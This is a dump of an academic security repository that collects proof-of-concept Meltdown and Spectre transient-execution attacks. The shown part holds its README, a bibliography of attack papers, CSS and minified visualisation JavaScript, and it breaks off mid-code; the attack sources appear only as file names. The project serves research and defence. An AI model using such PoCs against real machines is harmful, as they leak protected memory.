Repository: IAIK/transientfail Branch: master Commit: 43947508d8ba Files: 123 Total size: 486.1 KB Directory structure: gitextract_1s0czu4x/ ├── LICENSE ├── README.md ├── docs/ │ ├── CNAME │ ├── bibliography.js │ ├── css/ │ │ └── style.css │ ├── dist/ │ │ ├── index.js │ │ └── typescript/ │ │ ├── d3.d.ts │ │ ├── draw-links.d.ts │ │ ├── index.d.ts │ │ ├── initializeSVG.d.ts │ │ ├── link-enter.d.ts │ │ ├── link-exit.d.ts │ │ ├── link-update.d.ts │ │ ├── links/ │ │ │ ├── draw-links.d.ts │ │ │ ├── link-enter.d.ts │ │ │ ├── link-exit.d.ts │ │ │ └── link-update.d.ts │ │ ├── node-enter.d.ts │ │ ├── node-exit.d.ts │ │ ├── nodes/ │ │ │ ├── node-enter.d.ts │ │ │ ├── node-exit.d.ts │ │ │ └── node-update.d.ts │ │ ├── prepare-data.d.ts │ │ ├── services.d.ts │ │ ├── typings.d.ts │ │ └── utils.d.ts │ ├── index.html │ ├── js/ │ │ ├── export.js │ │ ├── filter.js │ │ └── tree.js │ └── tree.js └── pocs/ ├── Makefile ├── get_hyperthread_pair.sh ├── libcache/ │ ├── Makefile │ ├── cache.c │ └── cache.h ├── libpte/ │ ├── .gitignore │ ├── Makefile │ ├── module/ │ │ ├── Makefile │ │ ├── pteditor.c │ │ └── pteditor.h │ ├── ptedit.c │ ├── ptedit.h │ └── ptedit_header.h ├── meltdown/ │ ├── AC/ │ │ ├── Makefile │ │ ├── README.md │ │ └── main.c │ ├── BR/ │ │ ├── Makefile │ │ ├── README.md │ │ └── main.c │ ├── DE/ │ │ ├── Makefile │ │ ├── README.md │ │ └── main.c │ ├── GP/ │ │ ├── Makefile │ │ ├── README.md │ │ ├── main.c │ │ └── module/ │ │ ├── Makefile │ │ └── kernel_module.c │ ├── NM/ │ │ ├── Makefile │ │ ├── README.md │ │ ├── main.c │ │ ├── secret.h │ │ └── victim.c │ ├── P/ │ │ ├── Makefile │ │ ├── README.md │ │ └── main.c │ ├── PK/ │ │ ├── Makefile │ │ ├── README.md │ │ └── main.c │ ├── RW/ │ │ ├── Makefile │ │ ├── README.md │ │ └── main.c │ ├── SS/ │ │ ├── Makefile │ │ ├── README.md │ │ ├── cacheutils.h │ │ └── main.c │ ├── UD/ │ │ ├── Makefile │ │ ├── README.md │ │ └── main.c │ └── US/ │ ├── Makefile │ ├── README.md │ └── main.c └── spectre/ ├── BTB/ │ ├── ca_ip/ │ │ ├── Makefile │ │ ├── README.md │ │ └── main.cpp │ ├── ca_oop/ │ │ ├── cacheutils.h │ │ ├── exploit.sh │ │ ├── hyper_thread_pair.sh │ │ ├── main.c │ │ └── smc_utils.h │ ├── sa_ip/ │ │ ├── Makefile │ │ ├── README.md │ │ └── main.cpp │ └── sa_oop/ │ ├── Makefile │ ├── README.md │ └── main.c ├── PHT/ │ ├── ca_ip/ │ │ ├── Makefile │ │ ├── README.md │ │ └── main.c │ ├── ca_oop/ │ │ ├── Makefile │ │ ├── README.md │ │ └── main.c │ ├── sa_ip/ │ │ ├── Makefile │ │ ├── README.md │ │ └── main.c │ └── sa_oop/ │ ├── Makefile │ ├── README.md │ └── main.c ├── RSB/ │ ├── ca_ip/ │ │ ├── Makefile │ │ ├── README.md │ │ └── main.c │ ├── ca_oop/ │ │ ├── Makefile │ │ ├── README.md │ │ └── main.c │ ├── sa_ip/ │ │ ├── Makefile │ │ ├── README.md │ │ └── main.c │ └── sa_oop/ │ ├── Makefile │ ├── README.md │ └── main.c └── STL/ ├── Makefile ├── README.md └── main.c ================================================ FILE CONTENTS ================================================ ================================================ FILE: LICENSE ================================================ zlib License (C) 2020 Graz University of Technology This software is provided 'as-is', without any express or implied warranty. In no event will the authors be held liable for any damages arising from the use of this software. Permission is granted to anyone to use this software for any purpose, including commercial applications, and to alter it and redistribute it freely, subject to the following restrictions: 1. The origin of this software must not be misrepresented; you must not claim that you wrote the original software. If you use this software in a product, an acknowledgment in the product documentation would be appreciated but is not required. 2. Altered source versions must be plainly marked as such, and must not be misrepresented as being the original software. 3. This notice may not be removed or altered from any source distribution. ================================================ FILE: README.md ================================================ # Transient Fail Transient Fail is a project that gathers different proof-of-concept implementations of Transient Execution Attacks. It was originally developed for our Usenix 2019 paper [A Systematic Evaluation of Transient Execution Attacks and Defenses](http://cc0x1f.net/publications/transient_sytematization.pdf) by Canella, Van Bulck, Schwarz, Lipp, von Berg, Ortner, Piessens, Evtyushkin and Gruss ## Content This project provides two different things: * In the docs folder, we provide the source for the content of the [transient.fail](http://transient.fail) website. * In the pocs folder, we provide our proof-of-concept implementations as well as two libraries required for them. Libcache is a small library that provides all the required functionality for time measurement, flushing and loading values, TSX transactions and so on. Libpte is a fork of [PTEditor](https://github.com/misc0110/PTEditor) developed by Michael Schwarz and allows manipulation of paging structures via a Linux kernel module. ## Status Transient Fail is under active development as we add new proof-of-concepts that we discover during our research. We invite everybody who wants to contribute to do so via pull requests. ## Compilers and Operating Systems So far, we only support Linux with gcc on x86 and ARMv8. Therefore, we have only tested them on such platforms, but welcome any feedback and pull requests on other platforms. ## Literature * [Meltdown](https://meltdownattack.com) * [Spectre](https://spectreattack.com) * [Foreshadow](https://foreshadowattack.eu) * [Systematic Evaluation](https://www.usenix.org/conference/usenixsecurity19/presentation/canella) * [SpectreReturns](https://www.usenix.org/conference/woot18/presentation/koruyeh) * [ret2spec](https://arxiv.org/pdf/1807.10364.pdf) * [LazyFP](https://arxiv.org/pdf/1806.07480.pdf) ================================================ FILE: docs/CNAME ================================================ transient.fail ================================================ FILE: docs/bibliography.js ================================================ var sources = { "Canella2018": { "title": "A Systematic Evaluation of Transient Execution Attacks and Defenses", "author": "Claudio Canella, Jo Van Bulck, Michael Schwarz, Moritz Lipp, Benjamin von Berg, Philipp Ortner, Frank Piessens, Dmitry Evtyushkin, Daniel Gruss", "url": "https://arxiv.org/pdf/1811.05441.pdf", "conference": "USENIX Security 2019" }, "Kocher2019": { title: "Spectre Attacks: Exploiting Speculative Execution", author: "Paul Kocher, Jann Horn, Anders Fogh, Daniel Genkin, Daniel Gruss, Werner Haas, Mike Hamburg, Moritz Lipp, Stefan Mangard, Thomas Prescher, Michael Schwarz, Yuval Yarom", url: "https://spectreattack.com/spectre.pdf", conference: "IEEE S&P 2019" }, "Lipp2018": { title: "Meltdown: Reading Kernel Memory from User Space", author: "Moritz Lipp, Michael Schwarz, Daniel Gruss, Thomas Prescher, Werner Haas, Anders Fogh, Jann Horn, Stefan Mangard, Paul Kocher, Daniel Genkin, Yuval Yarom, Mike Hamburg", url: "https://meltdownattack.com/meltdown.pdf", conference: "USENIX Security 2018" }, "Schwarz2019": { title: "ZombieLoad: Cross-Privilege-Boundary Data Sampling", author: "Michael Schwarz, Moritz Lipp, Daniel Moghimi, Jo Van Bulck, Julian Stecklina, Thomas Prescher, Daniel Gruss", url: "https://zombieloadattack.com/zombieload.pdf", conference: "ACM CCS 2019" }, "Evtyushkin2018": { title: "BranchScope: A New Side-Channel Attack on Directional Branch Predictor", author: "Dmitry Evtyushkin, Ryan Riley, Nael Abu-Ghazaleh, Dmitry Ponomarev", url: "http://www.cs.ucr.edu/~nael/pubs/asplos18.pdf", conference: "ASPLOS 2018" }, "Fog": { url: "https://www.agner.org/optimize/microarchitecture.pdf", author: "Agner Fog", title: "The microarchitecture of Intel, AMD and VIA CPUs" }, "Maisuradze2018": { url: "https://arxiv.org/pdf/1807.10364.pdf", title: "ret2spec: Speculative Execution Using Return Stack Buffers", author: "Giorgi Maisuradze, Christian Rossow", conference: "ACM CCS 2018" }, "Koruyeh2018": { url: "https://www.usenix.org/system/files/conference/woot18/woot18-paper-koruyeh.pdf", title: "Spectre Returns! Speculation Attacks using the Return Stack Buffer", author: "Esmaeil Mohammadian Koruyeh, Khaled N. Khasawneh, Chengyu Song, Nael Abu-Ghazaleh", conference: "USENIX WOOT 2018" }, "Horn2018": { url: "https://bugs.chromium.org/p/project-zero/issues/detail?id=1528", title: "Speculative execution, variant 4: speculative store bypass", author: "Jann Horn" }, "Stecklina2018": { url: "https://arxiv.org/pdf/1806.07480.pdf", title: "LazyFP: Leaking FPU Register State using Microarchitectural Side-Channels", author: "Julian Stecklina, Thomas Prescher" }, "Intel2018": { url: "https://software.intel.com/security-software-guidance/api-app/sites/default/files/336996-Speculative-Execution-Side-Channel-Mitigations.pdf", author: "Intel", title: "Speculative Execution Side Channel Mitigations" }, "ARM2018": { url: "https://developer.arm.com/support/arm-security-updates/speculative-processor-vulnerability/download-the-whitepaper", author: "ARM", title: "Whitepaper Cache Speculation Side-channels" }, "VanBulck2018": { title: "Foreshadow: Extracting the Keys to the Intel SGX Kingdom with Transient Out-of-Order Execution", author: "Jo Van Bulck, Marina Minkin, Ofir Weisse, Daniel Genkin, Baris Kasikci, Frank Piessens, Mark Silberstein, Thomas F. Wenisch, Yuval Yarom, Raoul Strackx", url: "https://foreshadowattack.eu/foreshadow.pdf", conference: "USENIX Security 2018" }, "Weisse2018": { title: "Foreshadow-NG: Breaking the Virtual Memory Abstraction with Transient Out-of-Order Execution", author: "Ofir Weisse, Jo Van Bulck, Marina Minkin, Daniel Genkin, Baris Kasikci, Frank Piessens, Mark Silberstein, Raoul Strackx, Thomas F. Wenisch, Yuval Yarom", url: "https://foreshadowattack.eu/foreshadow-NG.pdf" }, "Kiriansky2018": { url: "https://arxiv.org/pdf/1807.03757.pdf", title: "Speculative Buffer Overflows: Attacks and Defenses", author: "Vladimir Kiriansky, Carl Waldspurger" }, "VanSchaik2019": { title: "RIDL: Rogue In-flight Data Load", author: "Stephan van Schaik, Alyssa Milburn, Sebastian Österlund, Pietro Frigo, Giorgi Maisuradze, Kaveh Razavi, Herbert Bos, Cristiano Giuffrida", url: "https://mdsattacks.com/files/ridl.pdf", conference: "IEEE S&P 2019" }, "RIDLAddendum1": { title: "Addendum 1 to RIDL: Rogue In-flight Data Load", author: "Stephan van Schaik, Alyssa Milburn, Sebastian Österlund, Pietro Frigo, Giorgi Maisuradze, Kaveh Razavi, Herbert Bos, Cristiano Giuffrida", url: "https://mdsattacks.com/files/ridl-addendum.pdf", conference: "Addendum to IEEE S&P 2019 paper", }, "Canella2019": { title: "Fallout: Leaking Data on Meltdown-Resistant CPUs", author: "Claudio Canella, Daniel Genkin, Lukas Giner, Daniel Gruss, Moritz Lipp, Marina Minkin, Daniel Moghimi, Frank Piessens, Michael Schwarz, Berk Sunar, Jo Van Bulck, Yuval Yarom", url: "https://dl.acm.org/doi/abs/10.1145/3319535.3363219", conference: "ACM CCS 2019" }, "IntelMDS": { url: "https://software.intel.com/security-software-guidance/insights/deep-dive-intel-analysis-microarchitectural-data-sampling", author: "Intel", title: "Deep Dive: Intel Analysis of Microarchitectural Data Sampling" }, "IntelTAA": { url: "https://software.intel.com/security-software-guidance/insights/deep-dive-intel-transactional-synchronization-extensions-intel-tsx-asynchronous-abort", author: "Intel", title: "Deep Dive: Intel Transactional Synchronization Extensions (Intel TSX) Asynchronous Abort" }, "Chen2019": { title: "SGXPECTRE: Stealing Intel Secrets from SGX Enclaves via Speculative Execution", author: "Guoxing Chen, Sanchuan Chen, Yuan Xiao, Yinqian Zhang, Zhiqiang Lin, Ten H. Lai", conference: "IEEE EuroS&P 2019", url: "https://arxiv.org/pdf/1802.09085.pdf" }, "Falk2019": { author: "Brandon Falk", title: "CPU Introspection: Intel Load Port Snooping", url: "https://gamozolabs.github.io/metrology/2019/12/30/load-port-monitor.html", conference: "Gamozo Labs Blog", }, }; ================================================ FILE: docs/css/style.css ================================================ .desc_top { position: fixed; top: -3em; } .desc_bottom { position: fixed; top: 3em; } .node { cursor: pointer; display: flex; flex-direction: column; justify-content: center; align-items: center; border-radius: 5px; z-index: 99; } .highlight { background-color: yellow; } *{ font-family:"Roboto"; } ================================================ FILE: docs/dist/index.js ================================================ !function(t,n){"object"==typeof exports&&"object"==typeof module?module.exports=n():"function"==typeof define&&define.amd?define([],n):"object"==typeof exports?exports.Treeviz=n():t.Treeviz=n()}(window,function(){return function(t){var n={};function e(r){if(n[r])return n[r].exports;var i=n[r]={i:r,l:!1,exports:{}};return t[r].call(i.exports,i,i.exports,e),i.l=!0,i.exports}return e.m=t,e.c=n,e.d=function(t,n,r){e.o(t,n)||Object.defineProperty(t,n,{enumerable:!0,get:r})},e.r=function(t){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(t,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(t,"__esModule",{value:!0})},e.t=function(t,n){if(1&n&&(t=e(t)),8&n)return t;if(4&n&&"object"==typeof t&&t&&t.__esModule)return t;var r=Object.create(null);if(e.r(r),Object.defineProperty(r,"default",{enumerable:!0,value:t}),2&n&&"string"!=typeof t)for(var i in t)e.d(r,i,function(n){return t[n]}.bind(null,i));return r},e.n=function(t){var n=t&&t.__esModule?function(){return t.default}:function(){return t};return e.d(n,"a",n),n},e.o=function(t,n){return Object.prototype.hasOwnProperty.call(t,n)},e.p="/",e(e.s=4)}([function(t,n,e){"use strict";e.r(n);var r="http://www.w3.org/1999/xhtml",i={svg:"http://www.w3.org/2000/svg",xhtml:r,xlink:"http://www.w3.org/1999/xlink",xml:"http://www.w3.org/XML/1998/namespace",xmlns:"http://www.w3.org/2000/xmlns/"},o=function(t){var n=t+="",e=n.indexOf(":");return e>=0&&"xmlns"!==(n=t.slice(0,e))&&(t=t.slice(e+1)),i.hasOwnProperty(n)?{space:i[n],local:t}:t};var u=function(t){var n=o(t);return(n.local?function(t){return function(){return this.ownerDocument.createElementNS(t.space,t.local)}}:function(t){return function(){var n=this.ownerDocument,e=this.namespaceURI;return e===r&&n.documentElement.namespaceURI===r?n.createElement(t):n.createElementNS(e,t)}})(n)};function a(){}var c=function(t){return null==t?a:function(){return this.querySelector(t)}};function s(){return[]}var l=function(t){return null==t?s:function(){return this.querySelectorAll(t)}},h=function(t){return function(){return this.matches(t)}},f=function(t){return new Array(t.length)};function p(t,n){this.ownerDocument=t.ownerDocument,this.namespaceURI=t.namespaceURI,this._next=null,this._parent=t,this.__data__=n}p.prototype={constructor:p,appendChild:function(t){return this._parent.insertBefore(t,this._next)},insertBefore:function(t,n){return this._parent.insertBefore(t,n)},querySelector:function(t){return this._parent.querySelector(t)},querySelectorAll:function(t){return this._parent.querySelectorAll(t)}};var d="$";function v(t,n,e,r,i,o){for(var u,a=0,c=n.length,s=o.length;an?1:t>=n?0:NaN}var g=function(t){return t.ownerDocument&&t.ownerDocument.defaultView||t.document&&t||t.defaultView};function _(t,n){return t.style.getPropertyValue(n)||g(t).getComputedStyle(t,null).getPropertyValue(n)}function w(t){return t.trim().split(/^|\s+/)}function x(t){return t.classList||new b(t)}function b(t){this._node=t,this._names=w(t.getAttribute("class")||"")}function M(t,n){for(var e=x(t),r=-1,i=n.length;++r=0&&(this._names.splice(n,1),this._node.setAttribute("class",this._names.join(" ")))},contains:function(t){return this._names.indexOf(t)>=0}};function A(){this.textContent=""}function z(){this.innerHTML=""}function N(){this.nextSibling&&this.parentNode.appendChild(this)}function E(){this.previousSibling&&this.parentNode.insertBefore(this,this.parentNode.firstChild)}function S(){return null}function O(){var t=this.parentNode;t&&t.removeChild(this)}function j(){return this.parentNode.insertBefore(this.cloneNode(!1),this.nextSibling)}function P(){return this.parentNode.insertBefore(this.cloneNode(!0),this.nextSibling)}var T={},L=null;"undefined"!=typeof document&&("onmouseenter"in document.documentElement||(T={mouseenter:"mouseover",mouseleave:"mouseout"}));function q(t,n,e){return t=B(t,n,e),function(n){var e=n.relatedTarget;e&&(e===this||8&e.compareDocumentPosition(this))||t.call(this,n)}}function B(t,n,e){return function(r){var i=L;L=r;try{t.call(this,this.__data__,n,e)}finally{L=i}}}function I(t){return function(){var n=this.__on;if(n){for(var e,r=0,i=-1,o=n.length;r=M&&(M=b+1);!(x=_[M])&&++M=0;)(r=i[o])&&(u&&4^r.compareDocumentPosition(u)&&u.parentNode.insertBefore(r,u),u=r);return this},sort:function(t){function n(n,e){return n&&e?t(n.__data__,e.__data__):!n-!e}t||(t=m);for(var e=this._groups,r=e.length,i=new Array(r),o=0;o1?this.each((null==n?function(t){return function(){this.style.removeProperty(t)}}:"function"==typeof n?function(t,n,e){return function(){var r=n.apply(this,arguments);null==r?this.style.removeProperty(t):this.style.setProperty(t,r,e)}}:function(t,n,e){return function(){this.style.setProperty(t,n,e)}})(t,n,null==e?"":e)):_(this.node(),t)},property:function(t,n){return arguments.length>1?this.each((null==n?function(t){return function(){delete this[t]}}:"function"==typeof n?function(t,n){return function(){var e=n.apply(this,arguments);null==e?delete this[t]:this[t]=e}}:function(t,n){return function(){this[t]=n}})(t,n)):this.node()[t]},classed:function(t,n){var e=w(t+"");if(arguments.length<2){for(var r=x(this.node()),i=-1,o=e.length;++i=0&&(n=t.slice(e+1),t=t.slice(0,e)),{type:t,name:n}})}(t+""),u=o.length;if(!(arguments.length<2)){for(a=n?C:I,null==e&&(e=!1),r=0;rn?e:t=0&&(n=t.slice(e+1),t=t.slice(0,e)),t&&!r.hasOwnProperty(t))throw new Error("unknown type: "+t);return{type:t,name:n}})),c=-1,s=o.length;if(!(arguments.length<2)){if(null!=n&&"function"!=typeof n)throw new Error("invalid callback: "+n);for(;++c0)for(var e,r,i=new Array(e),o=0;o>8&15|n>>4&240,n>>4&15|240&n,(15&n)<<4|15&n,1):(n=x.exec(t))?O(parseInt(n[1],16)):(n=b.exec(t))?new L(n[1],n[2],n[3],1):(n=M.exec(t))?new L(255*n[1]/100,255*n[2]/100,255*n[3]/100,1):(n=k.exec(t))?j(n[1],n[2],n[3],n[4]):(n=A.exec(t))?j(255*n[1]/100,255*n[2]/100,255*n[3]/100,n[4]):(n=z.exec(t))?B(n[1],n[2]/100,n[3]/100,1):(n=N.exec(t))?B(n[1],n[2]/100,n[3]/100,n[4]):E.hasOwnProperty(t)?O(E[t]):"transparent"===t?new L(NaN,NaN,NaN,0):null}function O(t){return new L(t>>16&255,t>>8&255,255&t,1)}function j(t,n,e,r){return r<=0&&(t=n=e=NaN),new L(t,n,e,r)}function P(t){return t instanceof y||(t=S(t)),t?new L((t=t.rgb()).r,t.g,t.b,t.opacity):new L}function T(t,n,e,r){return 1===arguments.length?P(t):new L(t,n,e,null==r?1:r)}function L(t,n,e,r){this.r=+t,this.g=+n,this.b=+e,this.opacity=+r}function q(t){return((t=Math.max(0,Math.min(255,Math.round(t)||0)))<16?"0":"")+t.toString(16)}function B(t,n,e,r){return r<=0?t=n=e=NaN:e<=0||e>=1?t=n=NaN:n<=0&&(t=NaN),new C(t,n,e,r)}function I(t,n,e,r){return 1===arguments.length?function(t){if(t instanceof C)return new C(t.h,t.s,t.l,t.opacity);if(t instanceof y||(t=S(t)),!t)return new C;if(t instanceof C)return t;var n=(t=t.rgb()).r/255,e=t.g/255,r=t.b/255,i=Math.min(n,e,r),o=Math.max(n,e,r),u=NaN,a=o-i,c=(o+i)/2;return a?(u=n===o?(e-r)/a+6*(e0&&c<1?0:u,new C(u,a,c,t.opacity)}(t):new C(t,n,e,null==r?1:r)}function C(t,n,e,r){this.h=+t,this.s=+n,this.l=+e,this.opacity=+r}function D(t,n,e){return 255*(t<60?n+(e-n)*t/60:t<180?e:t<240?n+(e-n)*(240-t)/60:n)}d(y,S,{displayable:function(){return this.rgb().displayable()},hex:function(){return this.rgb().hex()},toString:function(){return this.rgb()+""}}),d(L,T,v(y,{brighter:function(t){return t=null==t?1/.7:Math.pow(1/.7,t),new L(this.r*t,this.g*t,this.b*t,this.opacity)},darker:function(t){return t=null==t?.7:Math.pow(.7,t),new L(this.r*t,this.g*t,this.b*t,this.opacity)},rgb:function(){return this},displayable:function(){return 0<=this.r&&this.r<=255&&0<=this.g&&this.g<=255&&0<=this.b&&this.b<=255&&0<=this.opacity&&this.opacity<=1},hex:function(){return"#"+q(this.r)+q(this.g)+q(this.b)},toString:function(){var t=this.opacity;return(1===(t=isNaN(t)?1:Math.max(0,Math.min(1,t)))?"rgb(":"rgba(")+Math.max(0,Math.min(255,Math.round(this.r)||0))+", "+Math.max(0,Math.min(255,Math.round(this.g)||0))+", "+Math.max(0,Math.min(255,Math.round(this.b)||0))+(1===t?")":", "+t+")")}})),d(C,I,v(y,{brighter:function(t){return t=null==t?1/.7:Math.pow(1/.7,t),new C(this.h,this.s,this.l*t,this.opacity)},darker:function(t){return t=null==t?.7:Math.pow(.7,t),new C(this.h,this.s,this.l*t,this.opacity)},rgb:function(){var t=this.h%360+360*(this.h<0),n=isNaN(t)||isNaN(this.s)?0:this.s,e=this.l,r=e+(e<.5?e:1-e)*n,i=2*e-r;return new L(D(t>=240?t-240:t+120,i,r),D(t,i,r),D(t<120?t+240:t-120,i,r),this.opacity)},displayable:function(){return(0<=this.s&&this.s<=1||isNaN(this.s))&&0<=this.l&&this.l<=1&&0<=this.opacity&&this.opacity<=1}}));var H=Math.PI/180,X=180/Math.PI,Y=.96422,R=1,V=.82521,W=4/29,F=6/29,U=3*F*F,$=F*F*F;function G(t){if(t instanceof Q)return new Q(t.l,t.a,t.b,t.opacity);if(t instanceof it){if(isNaN(t.h))return new Q(t.l,0,0,t.opacity);var n=t.h*H;return new Q(t.l,Math.cos(n)*t.c,Math.sin(n)*t.c,t.opacity)}t instanceof L||(t=P(t));var e,r,i=nt(t.r),o=nt(t.g),u=nt(t.b),a=Z((.2225045*i+.7168786*o+.0606169*u)/R);return i===o&&o===u?e=r=a:(e=Z((.4360747*i+.3850649*o+.1430804*u)/Y),r=Z((.0139322*i+.0971045*o+.7141733*u)/V)),new Q(116*a-16,500*(e-a),200*(a-r),t.opacity)}function K(t,n,e,r){return 1===arguments.length?G(t):new Q(t,n,e,null==r?1:r)}function Q(t,n,e,r){this.l=+t,this.a=+n,this.b=+e,this.opacity=+r}function Z(t){return t>$?Math.pow(t,1/3):t/U+W}function J(t){return t>F?t*t*t:U*(t-W)}function tt(t){return 255*(t<=.0031308?12.92*t:1.055*Math.pow(t,1/2.4)-.055)}function nt(t){return(t/=255)<=.04045?t/12.92:Math.pow((t+.055)/1.055,2.4)}function et(t){if(t instanceof it)return new it(t.h,t.c,t.l,t.opacity);if(t instanceof Q||(t=G(t)),0===t.a&&0===t.b)return new it(NaN,0,t.l,t.opacity);var n=Math.atan2(t.b,t.a)*X;return new it(n<0?n+360:n,Math.sqrt(t.a*t.a+t.b*t.b),t.l,t.opacity)}function rt(t,n,e,r){return 1===arguments.length?et(t):new it(t,n,e,null==r?1:r)}function it(t,n,e,r){this.h=+t,this.c=+n,this.l=+e,this.opacity=+r}d(Q,K,v(y,{brighter:function(t){return new Q(this.l+18*(null==t?1:t),this.a,this.b,this.opacity)},darker:function(t){return new Q(this.l-18*(null==t?1:t),this.a,this.b,this.opacity)},rgb:function(){var t=(this.l+16)/116,n=isNaN(this.a)?t:t+this.a/500,e=isNaN(this.b)?t:t-this.b/200;return new L(tt(3.1338561*(n=Y*J(n))-1.6168667*(t=R*J(t))-.4906146*(e=V*J(e))),tt(-.9787684*n+1.9161415*t+.033454*e),tt(.0719453*n-.2289914*t+1.4052427*e),this.opacity)}})),d(it,rt,v(y,{brighter:function(t){return new it(this.h,this.c,this.l+18*(null==t?1:t),this.opacity)},darker:function(t){return new it(this.h,this.c,this.l-18*(null==t?1:t),this.opacity)},rgb:function(){return G(this).rgb()}}));var ot=-.14861,ut=1.78277,at=-.29227,ct=-.90649,st=1.97294,lt=st*ct,ht=st*ut,ft=ut*at-ct*ot;function pt(t,n,e,r){return 1===arguments.length?function(t){if(t instanceof dt)return new dt(t.h,t.s,t.l,t.opacity);t instanceof L||(t=P(t));var n=t.r/255,e=t.g/255,r=t.b/255,i=(ft*r+lt*n-ht*e)/(ft+lt-ht),o=r-i,u=(st*(e-i)-at*o)/ct,a=Math.sqrt(u*u+o*o)/(st*i*(1-i)),c=a?Math.atan2(u,o)*X-120:NaN;return new dt(c<0?c+360:c,a,i,t.opacity)}(t):new dt(t,n,e,null==r?1:r)}function dt(t,n,e,r){this.h=+t,this.s=+n,this.l=+e,this.opacity=+r}function vt(t,n,e,r,i){var o=t*t,u=o*t;return((1-3*t+3*o-u)*n+(4-6*o+3*u)*e+(1+3*t+3*o-3*u)*r+u*i)/6}d(dt,pt,v(y,{brighter:function(t){return t=null==t?1/.7:Math.pow(1/.7,t),new dt(this.h,this.s,this.l*t,this.opacity)},darker:function(t){return t=null==t?.7:Math.pow(.7,t),new dt(this.h,this.s,this.l*t,this.opacity)},rgb:function(){var t=isNaN(this.h)?0:(this.h+120)*H,n=+this.l,e=isNaN(this.s)?0:this.s*n*(1-n),r=Math.cos(t),i=Math.sin(t);return new L(255*(n+e*(ot*r+ut*i)),255*(n+e*(at*r+ct*i)),255*(n+e*(st*r)),this.opacity)}}));var yt=function(t){return function(){return t}};function mt(t,n){return function(e){return t+e*n}}function gt(t,n){var e=n-t;return e?mt(t,e>180||e<-180?e-360*Math.round(e/360):e):yt(isNaN(t)?n:t)}function _t(t){return 1==(t=+t)?wt:function(n,e){return e-n?function(t,n,e){return t=Math.pow(t,e),n=Math.pow(n,e)-t,e=1/e,function(r){return Math.pow(t+r*n,e)}}(n,e,t):yt(isNaN(n)?e:n)}}function wt(t,n){var e=n-t;return e?mt(t,e):yt(isNaN(t)?n:t)}var xt=function t(n){var e=_t(n);function r(t,n){var r=e((t=T(t)).r,(n=T(n)).r),i=e(t.g,n.g),o=e(t.b,n.b),u=wt(t.opacity,n.opacity);return function(n){return t.r=r(n),t.g=i(n),t.b=o(n),t.opacity=u(n),t+""}}return r.gamma=t,r}(1);function bt(t){return function(n){var e,r,i=n.length,o=new Array(i),u=new Array(i),a=new Array(i);for(e=0;e=1?(e=1,n-1):Math.floor(e*n),i=t[r],o=t[r+1],u=r>0?t[r-1]:2*i-o,a=ro&&(i=n.slice(o,i),a[u]?a[u]+=i:a[++u]=i),(e=e[0])===(r=r[0])?a[u]?a[u]+=r:a[++u]=r:(a[++u]=null,c.push({i:u,x:Mt(e,r)})),o=At.lastIndex;return o180?n+=360:n-t>180&&(t+=360),o.push({i:e.push(i(e)+"rotate(",null,r)-2,x:Mt(t,n)})):n&&e.push(i(e)+"rotate("+n+r)}(o.rotate,u.rotate,a,c),function(t,n,e,o){t!==n?o.push({i:e.push(i(e)+"skewX(",null,r)-2,x:Mt(t,n)}):n&&e.push(i(e)+"skewX("+n+r)}(o.skewX,u.skewX,a,c),function(t,n,e,r,o,u){if(t!==e||n!==r){var a=o.push(i(o)+"scale(",null,",",null,")");u.push({i:a-4,x:Mt(t,e)},{i:a-2,x:Mt(n,r)})}else 1===e&&1===r||o.push(i(o)+"scale("+e+","+r+")")}(o.scaleX,o.scaleY,u.scaleX,u.scaleY,a,c),o=u=null,function(t){for(var n,e=-1,r=c.length;++e=0&&n._call.call(null,t),n=n._next;--Wt}()}finally{Wt=0,function(){var t,n,e=Rt,r=1/0;for(;e;)e._call?(r>e._time&&(r=e._time),t=e,e=e._next):(n=e._next,e._next=null,e=t?t._next=n:Rt=n);Vt=t,an(r)}(),Kt=0}}function un(){var t=Zt.now(),n=t-Gt;n>$t&&(Qt-=n,Gt=t)}function an(t){Wt||(Ft&&(Ft=clearTimeout(Ft)),t-Kt>24?(t<1/0&&(Ft=setTimeout(on,t-Zt.now()-Qt)),Ut&&(Ut=clearInterval(Ut))):(Ut||(Gt=Zt.now(),Ut=setInterval(un,$t)),Wt=1,Jt(on)))}en.prototype=rn.prototype={constructor:en,restart:function(t,n,e){if("function"!=typeof t)throw new TypeError("callback is not a function");e=(null==e?tn():+e)+(null==n?0:+n),this._next||Vt===this||(Vt?Vt._next=this:Rt=this,Vt=this),this._call=t,this._time=e,an()},stop:function(){this._call&&(this._call=null,this._time=1/0,an())}};var cn=function(t,n,e){var r=new en;return n=null==n?0:+n,r.restart(function(e){r.stop(),t(e+n)},n,e),r},sn=c("start","end","cancel","interrupt"),ln=[],hn=0,fn=1,pn=2,dn=3,vn=4,yn=5,mn=6,gn=function(t,n,e,r,i,o){var u=t.__transition;if(u){if(e in u)return}else t.__transition={};!function(t,n,e){var r,i=t.__transition;function o(c){var s,l,h,f;if(e.state!==fn)return a();for(s in i)if((f=i[s]).name===e.name){if(f.state===dn)return cn(o);f.state===vn?(f.state=mn,f.timer.stop(),f.on.call("interrupt",t,t.__data__,f.index,f.group),delete i[s]):+shn)throw new Error("too late; already scheduled");return e}function wn(t,n){var e=xn(t,n);if(e.state>dn)throw new Error("too late; already running");return e}function xn(t,n){var e=t.__transition;if(!e||!(e=e[n]))throw new Error("transition not found");return e}var bn=function(t,n){var e,r,i,o=t.__transition,u=!0;if(o){for(i in n=null==n?null:n+"",o)(e=o[i]).name===n?(r=e.state>pn&&e.state=0&&(t=t.slice(0,n)),!t||"start"===t})}(n)?_n:wn;return function(){var u=o(this,t),a=u.on;a!==r&&(i=(r=a).copy()).on(n,e),u.on=i}}(e,t,n))},attr:function(t,n){var e=Object(s.namespace)(t),r="transform"===e?Bt:kn;return this.attrTween(t,"function"==typeof n?(e.local?function(t,n,e){var r,i,o;return function(){var u,a,c=e(this);if(null!=c)return(u=this.getAttributeNS(t.space,t.local))===(a=c+"")?null:u===r&&a===i?o:(i=a,o=n(r=u,c));this.removeAttributeNS(t.space,t.local)}}:function(t,n,e){var r,i,o;return function(){var u,a,c=e(this);if(null!=c)return(u=this.getAttribute(t))===(a=c+"")?null:u===r&&a===i?o:(i=a,o=n(r=u,c));this.removeAttribute(t)}})(e,r,Mn(this,"attr."+t,n)):null==n?(e.local?function(t){return function(){this.removeAttributeNS(t.space,t.local)}}:function(t){return function(){this.removeAttribute(t)}})(e):(e.local?function(t,n,e){var r,i,o=e+"";return function(){var u=this.getAttributeNS(t.space,t.local);return 